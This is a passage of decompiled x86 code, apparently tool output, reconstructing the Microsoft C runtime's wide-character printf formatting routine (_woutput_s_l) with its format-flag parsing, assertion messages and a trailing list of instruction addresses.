																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x421d94; // 0x15a19003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00421D80))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041F590();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L0041F530(_t588))) = 0x16;
																						E0041F2C0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041EA10(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E004242B0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041F590();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041EA10(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L0041F530(_t580))) = 0x16;
																				E0041F2C0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041EA10(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E00420B30(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E00420B70( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E00420B30(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E00420B70( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041EA40(_t674 - 0x40);
																				_t541 = E0042F0C0(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E00420AD0( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E00420B30(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x421e00; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M00421DC4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00420C00(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x43de98; // 0x4063f4
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041CB30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041EA40(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x43de88; // 0xfb3c7abe
																					E00427990(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x43de94; // 0xfb3c7abe
																						E00427990(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041EA40(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x43de90; // 0xfb3c7abe
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00420C00(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041EA40(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041EA40(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0042F0C0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00420C00(__ebp + 0x14);
																			if(E0042F010() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041F590();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																				__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041EA10(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00420C00(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x43de9c; // 0x4063e4
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x43de98; // 0x4063f4
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041EA40(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E0042F050( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0042174b
0x0042174b
0x0042174b
0x0042174b
0x00421751
0x00421754
0x00000000
0x004217d2
0x00000000
0x004217d2
0x00000000
0x004217d2
0x004217d2
0x004217da
0x004217fc
0x00421802
0x00421827
0x0042186e
0x00421871
0x00421892
0x00421897
0x0042189c
0x004218a2
0x00421873
0x00421877
0x0042187c
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182f
0x00421851
0x00421856
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421835
0x0042183a
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421808
0x0042180d
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217e0
0x004217e5
0x004217e8
0x004217ee
0x004217ee
0x004218ae
0x004218f0
0x004218f6
0x00421902
0x00000000
0x004218b0
0x004218b0
0x004218b0
0x004218b7
0x00000000
0x004218c4
0x004218c4
0x004218d2
0x004218d7
0x004218dd
0x004218eb
0x00421908
0x00421910
0x00421932
0x00421932
0x0042193c
0x0042194d
0x00421957
0x00421959
0x00421959
0x0042193e
0x0042193e
0x0042193e
0x0042196c
0x0042196e
0x0042196e
0x0042197b
0x0042197e
0x0042197e
0x00421984
0x00421987
0x0042198c
0x00000000
0x00000000
0x0042199c
0x0042199f
0x004219a9
0x004219b8
0x004219c1
0x004219d7
0x004219dd
0x004219ea
0x004219f8
0x004219f8
0x00421a07
0x00421a0f
0x00421a0f
0x00421a17
0x00421a20
0x00421a29
0x00421a35
0x00421a4e
0x00421a54
0x00421a5d
0x00421a5d
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00000000
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00421c40
0x00421c44
0x00421c4c
0x00421c51
0x00421c54
0x00421c54
0x00421c5b
0x00421c5b
0x00420ddb
0x00420de2
0x00420def
0x00420df4
0x00000000
